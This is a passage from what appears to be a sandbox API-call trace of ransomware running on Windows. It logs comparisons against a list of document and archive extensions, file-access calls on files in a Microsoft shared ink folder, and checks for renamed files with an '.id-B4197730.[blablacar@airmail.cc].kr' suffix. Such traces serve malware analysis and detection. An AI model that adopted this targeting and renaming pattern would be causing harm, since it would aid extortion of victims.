returned -1 [0093.063] lstrlenW (lpString=".xlsx") returned 5 [0093.063] lstrcmpiW (lpString1=".xlsx", lpString2="k.xml") returned -1 [0093.063] lstrlenW (lpString=".ppt") returned 4 [0093.063] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0093.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0093.063] lstrlenW (lpString=".zip") returned 4 [0093.063] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0093.063] lstrlenW (lpString=".rar") returned 4 [0093.064] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0093.064] lstrlenW (lpString=".bz2") returned 4 [0093.064] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0093.064] lstrlenW (lpString=".7z") returned 3 [0093.064] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0093.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0093.064] lstrlenW (lpString=".dbf") returned 4 [0093.064] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0093.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0093.064] lstrlenW (lpString=".1cd") returned 4 [0093.064] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0093.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0093.064] lstrlenW (lpString=".jpg") returned 4 [0093.064] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0093.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0093.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0093.065] lstrlenW (lpString=".doc") returned 4 [0093.065] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0093.065] lstrlenW (lpString=".docx") returned 5 [0093.065] lstrcmpiW (lpString1=".docx", lpString2="k.xml") returned -1 [0093.065] lstrlenW (lpString=".pdf") returned 4 [0093.065] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0093.065] lstrlenW (lpString=".xls") returned 4 [0093.065] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0093.065] lstrlenW (lpString=".xlsx") returned 5 [0093.065] lstrcmpiW (lpString1=".xlsx", lpString2="k.xml") returned -1 [0093.065] lstrlenW (lpString=".ppt") returned 4 [0093.065] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0093.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0093.065] lstrlenW (lpString=".zip") returned 4 [0093.066] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0093.066] lstrlenW (lpString=".rar") returned 4 [0093.066] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0093.066] lstrlenW (lpString=".bz2") returned 4 [0093.066] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0093.066] lstrlenW (lpString=".7z") returned 3 [0093.066] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0093.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0093.066] lstrlenW (lpString=".dbf") returned 4 [0093.066] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0093.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0093.066] lstrlenW (lpString=".1cd") returned 4 [0093.066] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0093.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0093.067] lstrlenW (lpString=".jpg") returned 4 [0093.067] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0093.067] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0093.067] lstrlenW (lpString="ipsptb.xml") returned 10 [0093.067] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0093.067] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=2246) returned 1 [0093.067] CloseHandle (hObject=0x34c) returned 1 [0093.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml")) returned 0x20 [0093.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0093.068] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0093.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0093.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0093.068] lstrlenW (lpString=".doc") returned 4 [0093.068] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0093.068] lstrlenW (lpString=".docx") returned 5 [0093.068] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0093.068] lstrlenW (lpString=".pdf") returned 4 [0093.068] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0093.068] lstrlenW (lpString=".xls") returned 4 [0093.068] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0093.068] lstrlenW (lpString=".xlsx") returned 5 [0093.068] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0093.068] lstrlenW (lpString=".ppt") returned 4 [0093.068] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0093.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0093.069] lstrlenW (lpString=".zip") returned 4 [0093.069] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0093.069] lstrlenW (lpString=".rar") returned 4 [0093.069] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0093.069] lstrlenW (lpString=".bz2") returned 4 [0093.069] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0093.069] lstrlenW (lpString=".7z") returned 3 [0093.069] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0093.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0093.069] lstrlenW (lpString=".dbf") returned 4 [0093.069] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0093.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0093.069] lstrlenW (lpString=".1cd") returned 4 [0093.069] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0093.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0093.069] lstrlenW (lpString=".jpg") returned 4 [0093.069] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0093.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0093.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0093.069] lstrlenW (lpString=".doc") returned 4 [0093.070] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0093.070] lstrlenW (lpString=".docx") returned 5 [0093.070] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0093.070] lstrlenW (lpString=".pdf") returned 4 [0093.070] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0093.070] lstrlenW (lpString=".xls") returned 4 [0093.070] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0093.070] lstrlenW (lpString=".xlsx") returned 5 [0093.070] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0093.070] lstrlenW (lpString=".ppt") returned 4 [0093.070] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0093.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0093.070] lstrlenW (lpString=".zip") returned 4 [0093.070] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0093.070] lstrlenW (lpString=".rar") returned 4 [0093.070] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0093.070] lstrlenW (lpString=".bz2") returned 4 [0093.070] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0093.070] lstrlenW (lpString=".7z") returned 3 [0093.070] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0093.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0093.070] lstrlenW (lpString=".dbf") returned 4 [0093.071] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0093.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0093.071] lstrlenW (lpString=".1cd") returned 4 [0093.071] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0093.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61 [0093.071] lstrlenW (lpString=".jpg") returned 4 [0093.071] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0093.071] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0093.071] lstrlenW (lpString="ipsptg.xml") returned 10 [0093.071] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0093.071] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=2240) returned 1 [0093.072] CloseHandle (hObject=0x34c) returned 1 [0093.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml")) returned 0x20 [0093.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0093.072] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0093.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61 [0093.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61 [0093.072] lstrlenW (lpString=".doc") returned 4 [0093.072] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0093.072] lstrlenW (lpString=".docx") returned 5 [0093.072] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0093.072] lstrlenW (lpString=".pdf") returned 4 [0093.072] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0093.072] lstrlenW (lpString=".xls") returned 4 [0093.073] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0093.073] lstrlenW (lpString=".xlsx") returned 5 [0093.073] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0093.073] lstrlenW (lpString=".ppt") returned 4 [0093.073] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0093.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61 [0093.073] lstrlenW (lpString=".zip") returned 4 [0093.073] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0093.073] lstrlenW (lpString=".rar") returned 4 [0093.073] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0093.073] lstrlenW (lpString=".bz2") returned 4 [0093.073] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0093.073] lstrlenW (lpString=".7z") returned 3 [0093.073] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0093.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61 [0093.073] lstrlenW (lpString=".dbf") returned 4 [0093.073] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0093.074] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0093.074] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0093.075] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=2644) returned 1 [0093.075] CloseHandle (hObject=0x34c) returned 1 [0093.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml")) returned 0x20 [0093.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0093.076] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0093.077] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0093.077] lstrlenW (lpString="ipsrus.xml") returned 10 [0093.077] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0093.077] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=2542) returned 1 [0093.077] CloseHandle (hObject=0x34c) returned 1 [0093.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml")) returned 0x20 [0093.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0093.078] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0093.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml") returned 61 [0093.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml") returned 61 [0093.078] lstrlenW (lpString=".doc") returned 4 [0093.078] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0093.078] lstrlenW (lpString=".docx") returned 5 [0093.078] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0093.078] lstrlenW (lpString=".pdf") returned 4 [0093.078] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0093.078] lstrlenW (lpString=".xls") returned 4 [0093.078] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0093.078] lstrlenW (lpString=".xlsx") returned 5 [0093.079] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0093.079] lstrlenW (lpString=".ppt") returned 4 [0093.079] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0093.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml") returned 61 [0093.079] lstrlenW (lpString=".zip") returned 4 [0093.079] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0093.079] lstrlenW (lpString=".rar") returned 4 [0093.079] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0093.079] lstrlenW (lpString=".bz2") returned 4 [0093.079] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0093.079] lstrlenW (lpString=".7z") returned 3 [0093.079] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0093.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml") returned 61 [0093.079] lstrlenW (lpString=".dbf") returned 4 [0093.079] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0093.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml") returned 61 [0093.079] lstrlenW (lpString=".1cd") returned 4 [0093.079] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0093.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml") returned 61 [0093.079] lstrlenW (lpString=".jpg") returned 4 [0093.080] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0093.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml") returned 61 [0093.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml") returned 61 [0093.080] lstrlenW (lpString=".doc") returned 4 [0093.080] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0093.080] lstrlenW (lpString=".docx") returned 5 [0093.080] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0093.080] lstrlenW (lpString=".pdf") returned 4 [0093.080] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0093.080] lstrlenW (lpString=".xls") returned 4 [0093.080] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0093.080] lstrlenW (lpString=".xlsx") returned 5 [0093.080] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0093.080] lstrlenW (lpString=".ppt") returned 4 [0093.080] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0093.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml") returned 61 [0093.080] lstrlenW (lpString=".zip") returned 4 [0093.080] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0093.080] lstrlenW (lpString=".rar") returned 4 [0093.080] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0093.080] lstrlenW (lpString=".bz2") returned 4 [0093.080] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0093.081] lstrlenW (lpString=".7z") returned 3 [0093.081] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0093.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml") returned 61 [0093.081] lstrlenW (lpString=".dbf") returned 4 [0093.081] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0093.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml") returned 61 [0093.081] lstrlenW (lpString=".1cd") returned 4 [0093.081] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0093.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml") returned 61 [0093.081] lstrlenW (lpString=".jpg") returned 4 [0093.081] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0093.081] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0093.081] lstrlenW (lpString="ipssrb.xml") returned 10 [0093.081] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0093.082] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=2568) returned 1 [0093.082] CloseHandle (hObject=0x34c) returned 1 [0093.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml")) returned 0x20 [0093.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0093.082] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0093.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61 [0093.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61 [0093.082] lstrlenW (lpString=".doc") returned 4 [0093.082] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0093.082] lstrlenW (lpString=".docx") returned 5 [0093.082] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0093.082] lstrlenW (lpString=".pdf") returned 4 [0093.082] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0093.082] lstrlenW (lpString=".xls") returned 4 [0093.082] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0093.082] lstrlenW (lpString=".xlsx") returned 5 [0093.082] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0093.083] lstrlenW (lpString=".ppt") returned 4 [0093.083] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0093.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61 [0093.083] lstrlenW (lpString=".zip") returned 4 [0093.083] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0093.083] lstrlenW (lpString=".rar") returned 4 [0093.083] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0093.083] lstrlenW (lpString=".bz2") returned 4 [0093.083] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0093.083] lstrlenW (lpString=".7z") returned 3 [0093.083] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0093.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61 [0093.083] lstrlenW (lpString=".dbf") returned 4 [0093.083] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0093.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61 [0093.083] lstrlenW (lpString=".1cd") returned 4 [0093.083] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0093.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61 [0093.083] lstrlenW (lpString=".jpg") returned 4 [0093.083] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0093.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61 [0093.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61 [0093.083] lstrlenW (lpString=".doc") returned 4 [0093.083] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0093.083] lstrlenW (lpString=".docx") returned 5 [0093.084] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0093.084] lstrlenW (lpString=".pdf") returned 4 [0093.084] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0093.084] lstrlenW (lpString=".xls") returned 4 [0093.084] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0093.084] lstrlenW (lpString=".xlsx") returned 5 [0093.084] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0093.084] lstrlenW (lpString=".ppt") returned 4 [0093.084] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0093.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61 [0093.084] lstrlenW (lpString=".zip") returned 4 [0093.084] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0093.084] lstrlenW (lpString=".rar") returned 4 [0093.084] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0093.084] lstrlenW (lpString=".bz2") returned 4 [0093.084] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0093.084] lstrlenW (lpString=".7z") returned 3 [0093.084] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0093.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61 [0093.084] lstrlenW (lpString=".dbf") returned 4 [0093.084] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0093.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61 [0093.084] lstrlenW (lpString=".1cd") returned 4 [0093.084] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0093.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61 [0093.084] lstrlenW (lpString=".jpg") returned 4 [0093.085] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0093.085] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0093.085] lstrlenW (lpString="ipssrl.xml") returned 10 [0093.085] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0093.085] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=2596) returned 1 [0093.085] CloseHandle (hObject=0x34c) returned 1 [0093.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml")) returned 0x20 [0093.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0093.086] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0093.086] lstrlenW 